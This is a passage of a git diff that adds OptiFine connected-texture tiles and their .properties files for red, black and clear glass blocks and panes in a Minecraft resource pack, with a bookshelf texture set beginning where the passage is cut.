00000000..f1656bd4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/42.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/42.png new file mode 100644 index 00000000..d813736d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/43.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/43.png new file mode 100644 index 00000000..823543f2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/44.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/44.png new file mode 100644 index 00000000..e535feb7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/45.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/45.png new file mode 100644 index 00000000..7ba09971 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/46.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/46.png new file mode 100644 index 00000000..c861e550 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/5.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/5.png new file mode 100644 index 00000000..967897d6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/6.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/6.png new file mode 100644 index 00000000..e5f911e3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/7.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/7.png new file mode 100644 index 00000000..a64cc715 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/8.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/8.png new file mode 100644 index 00000000..7bcd775a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/9.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/9.png new file mode 100644 index 00000000..7186c87b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/glass_pane_red.properties b/src/assets/minecraft/optifine/ctm/default/14_glass_red/glass_pane_red.properties new file mode 100644 index 00000000..27d30f0e --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/14_glass_red/glass_pane_red.properties @@ -0,0 +1,6 @@ +# Stained glass pane red +matchBlocks=red_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/glass_red.properties b/src/assets/minecraft/optifine/ctm/default/14_glass_red/glass_red.properties new file mode 100644 index 00000000..6ec7cb9c --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/14_glass_red/glass_red.properties @@ -0,0 +1,5 @@ +# Stained glass red +matchBlocks=red_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/0.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/0.png new file mode 100644 index 00000000..7a832b49 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/1.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/1.png new file mode 100644 index 00000000..8f3dd570 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/10.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/10.png new file mode 100644 index 00000000..34e0062a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/11.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/11.png new file mode 100644 index 00000000..b33ce7b5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/12.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/12.png new file mode 100644 index 00000000..2424436f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/13.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/13.png new file mode 100644 index 00000000..6c4cb0e0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/14.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/14.png new file mode 100644 index 00000000..c5f69e5b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/15.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/15.png new file mode 100644 index 00000000..44310e88 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/16.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/16.png new file mode 100644 index 00000000..ca2fc709 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/17.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/17.png new file mode 100644 index 00000000..1c420335 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/18.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/18.png new file mode 100644 index 00000000..9dfd51fe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/19.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/19.png new file mode 100644 index 00000000..a2682a46 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/2.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/2.png new file mode 100644 index 00000000..627bbbc9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/20.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/20.png new file mode 100644 index 00000000..acae603a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/21.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/21.png new file mode 100644 index 00000000..aad87e5c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/22.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/22.png new file mode 100644 index 00000000..0d7de31d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/23.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/23.png new file mode 100644 index 00000000..21ba9e21 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/24.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/24.png new file mode 100644 index 00000000..f20d4e5c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/25.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/25.png new file mode 100644 index 00000000..8c796ecb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/26.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/26.png new file mode 100644 index 00000000..6539a274 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/27.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/27.png new file mode 100644 index 00000000..8a1d21b7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/28.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/28.png new file mode 100644 index 00000000..b01778dd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/29.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/29.png new file mode 100644 index 00000000..ca32e116 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/3.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/3.png new file mode 100644 index 00000000..7e4038f2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/30.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/30.png new file mode 100644 index 00000000..3d3280e2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/31.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/31.png new file mode 100644 index 00000000..9edec8b9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/32.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/32.png new file mode 100644 index 00000000..9d4f777c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/33.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/33.png new file mode 100644 index 00000000..a35065da Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/34.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/34.png new file mode 100644 index 00000000..4d226eaf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/35.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/35.png new file mode 100644 index 00000000..c7601ceb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/36.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/36.png new file mode 100644 index 00000000..f27d8410 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/37.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/37.png new file mode 100644 index 00000000..d7fd2056 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/38.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/38.png new file mode 100644 index 00000000..34be3bd3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/39.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/39.png new file mode 100644 index 00000000..3555981f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/4.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/4.png new file mode 100644 index 00000000..982cfe60 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/40.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/40.png new file mode 100644 index 00000000..3adcdc8b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/41.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/41.png new file mode 100644 index 00000000..8b1387f6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/42.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/42.png new file mode 100644 index 00000000..058ffbe1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/43.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/43.png new file mode 100644 index 00000000..760a4b1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/44.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/44.png new file mode 100644 index 00000000..e2cfe8d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/45.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/45.png new file mode 100644 index 00000000..c66d5240 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/46.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/46.png new file mode 100644 index 00000000..9aa283c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/5.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/5.png new file mode 100644 index 00000000..186d31af Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/6.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/6.png new file mode 100644 index 00000000..76dc89a9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/7.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/7.png new file mode 100644 index 00000000..357b2e47 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/8.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/8.png new file mode 100644 index 00000000..f75c5a46 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/9.png b/src/assets/minecraft/optifine/ctm/default/15_glass_black/9.png new file mode 100644 index 00000000..68c87fca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/15_glass_black/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/glass_black.properties b/src/assets/minecraft/optifine/ctm/default/15_glass_black/glass_black.properties new file mode 100644 index 00000000..3894f4db --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/15_glass_black/glass_black.properties @@ -0,0 +1,5 @@ +# Stained glass black +matchBlocks=black_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/15_glass_black/glass_pane_black.properties b/src/assets/minecraft/optifine/ctm/default/15_glass_black/glass_pane_black.properties new file mode 100644 index 00000000..6a1c6d64 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/15_glass_black/glass_pane_black.properties @@ -0,0 +1,6 @@ +# Stained glass pane black +matchBlocks=black_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/0.png b/src/assets/minecraft/optifine/ctm/default/20_glass/0.png new file mode 100644 index 00000000..9d1e986f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/1.png b/src/assets/minecraft/optifine/ctm/default/20_glass/1.png new file mode 100644 index 00000000..a83080e9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/10.png b/src/assets/minecraft/optifine/ctm/default/20_glass/10.png new file mode 100644 index 00000000..f7182480 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/11.png b/src/assets/minecraft/optifine/ctm/default/20_glass/11.png new file mode 100644 index 00000000..a543add9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/12.png b/src/assets/minecraft/optifine/ctm/default/20_glass/12.png new file mode 100644 index 00000000..e163fe17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/13.png b/src/assets/minecraft/optifine/ctm/default/20_glass/13.png new file mode 100644 index 00000000..8b457825 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/14.png b/src/assets/minecraft/optifine/ctm/default/20_glass/14.png new file mode 100644 index 00000000..ff65c927 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/15.png b/src/assets/minecraft/optifine/ctm/default/20_glass/15.png new file mode 100644 index 00000000..a4fd85d5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/16.png b/src/assets/minecraft/optifine/ctm/default/20_glass/16.png new file mode 100644 index 00000000..c69007ee Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/17.png b/src/assets/minecraft/optifine/ctm/default/20_glass/17.png new file mode 100644 index 00000000..cb47767a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/18.png b/src/assets/minecraft/optifine/ctm/default/20_glass/18.png new file mode 100644 index 00000000..723a2f3d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/19.png b/src/assets/minecraft/optifine/ctm/default/20_glass/19.png new file mode 100644 index 00000000..6bcceb22 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/2.png b/src/assets/minecraft/optifine/ctm/default/20_glass/2.png new file mode 100644 index 00000000..2b072abe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/20.png b/src/assets/minecraft/optifine/ctm/default/20_glass/20.png new file mode 100644 index 00000000..1a327470 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/21.png b/src/assets/minecraft/optifine/ctm/default/20_glass/21.png new file mode 100644 index 00000000..fe17ac6b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/22.png b/src/assets/minecraft/optifine/ctm/default/20_glass/22.png new file mode 100644 index 00000000..3f1bdee7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/23.png b/src/assets/minecraft/optifine/ctm/default/20_glass/23.png new file mode 100644 index 00000000..0a9b0e8c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/24.png b/src/assets/minecraft/optifine/ctm/default/20_glass/24.png new file mode 100644 index 00000000..1b786fa7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/25.png b/src/assets/minecraft/optifine/ctm/default/20_glass/25.png new file mode 100644 index 00000000..1c7211c8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/26.png b/src/assets/minecraft/optifine/ctm/default/20_glass/26.png new file mode 100644 index 00000000..ada77100 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/27.png b/src/assets/minecraft/optifine/ctm/default/20_glass/27.png new file mode 100644 index 00000000..fa68ba15 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/28.png b/src/assets/minecraft/optifine/ctm/default/20_glass/28.png new file mode 100644 index 00000000..708917b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/29.png b/src/assets/minecraft/optifine/ctm/default/20_glass/29.png new file mode 100644 index 00000000..02af674a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/3.png b/src/assets/minecraft/optifine/ctm/default/20_glass/3.png new file mode 100644 index 00000000..d82b958f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/30.png b/src/assets/minecraft/optifine/ctm/default/20_glass/30.png new file mode 100644 index 00000000..fd0bbf1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/31.png b/src/assets/minecraft/optifine/ctm/default/20_glass/31.png new file mode 100644 index 00000000..cc38961f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/32.png b/src/assets/minecraft/optifine/ctm/default/20_glass/32.png new file mode 100644 index 00000000..24b17250 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/33.png b/src/assets/minecraft/optifine/ctm/default/20_glass/33.png new file mode 100644 index 00000000..be519c75 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/34.png b/src/assets/minecraft/optifine/ctm/default/20_glass/34.png new file mode 100644 index 00000000..8f7529eb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/35.png b/src/assets/minecraft/optifine/ctm/default/20_glass/35.png new file mode 100644 index 00000000..dace6f72 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/36.png b/src/assets/minecraft/optifine/ctm/default/20_glass/36.png new file mode 100644 index 00000000..8c56ee7d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/37.png b/src/assets/minecraft/optifine/ctm/default/20_glass/37.png new file mode 100644 index 00000000..c492a4f2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/38.png b/src/assets/minecraft/optifine/ctm/default/20_glass/38.png new file mode 100644 index 00000000..d2df9c12 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/39.png b/src/assets/minecraft/optifine/ctm/default/20_glass/39.png new file mode 100644 index 00000000..064efc65 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/4.png b/src/assets/minecraft/optifine/ctm/default/20_glass/4.png new file mode 100644 index 00000000..8cbb03fc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/40.png b/src/assets/minecraft/optifine/ctm/default/20_glass/40.png new file mode 100644 index 00000000..f1b9a8cb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/41.png b/src/assets/minecraft/optifine/ctm/default/20_glass/41.png new file mode 100644 index 00000000..1b5a3fbf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/42.png b/src/assets/minecraft/optifine/ctm/default/20_glass/42.png new file mode 100644 index 00000000..46ac590b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/43.png b/src/assets/minecraft/optifine/ctm/default/20_glass/43.png new file mode 100644 index 00000000..db347a36 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/44.png b/src/assets/minecraft/optifine/ctm/default/20_glass/44.png new file mode 100644 index 00000000..05da1de0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/45.png b/src/assets/minecraft/optifine/ctm/default/20_glass/45.png new file mode 100644 index 00000000..51cf6d7d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/46.png b/src/assets/minecraft/optifine/ctm/default/20_glass/46.png new file mode 100644 index 00000000..54ac84b1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/5.png b/src/assets/minecraft/optifine/ctm/default/20_glass/5.png new file mode 100644 index 00000000..5d2986bc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/6.png b/src/assets/minecraft/optifine/ctm/default/20_glass/6.png new file mode 100644 index 00000000..1ecf8f6d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/7.png b/src/assets/minecraft/optifine/ctm/default/20_glass/7.png new file mode 100644 index 00000000..4b0c3089 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/8.png b/src/assets/minecraft/optifine/ctm/default/20_glass/8.png new file mode 100644 index 00000000..04a4aa09 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/9.png b/src/assets/minecraft/optifine/ctm/default/20_glass/9.png new file mode 100644 index 00000000..7f95c9b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/20_glass/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/glass.properties b/src/assets/minecraft/optifine/ctm/default/20_glass/glass.properties new file mode 100644 index 00000000..a6900c25 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/20_glass/glass.properties @@ -0,0 +1,5 @@ +# Glass +matchBlocks=glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/20_glass/glass_pane.properties b/src/assets/minecraft/optifine/ctm/default/20_glass/glass_pane.properties new file mode 100644 index 00000000..89091065 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/20_glass/glass_pane.properties @@ -0,0 +1,6 @@ +# Glass pane +matchBlocks=glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/30_bookshelf/0.png b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/0.png new file mode 100644 index 00000000..ebd028ce Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/30_bookshelf/1.png 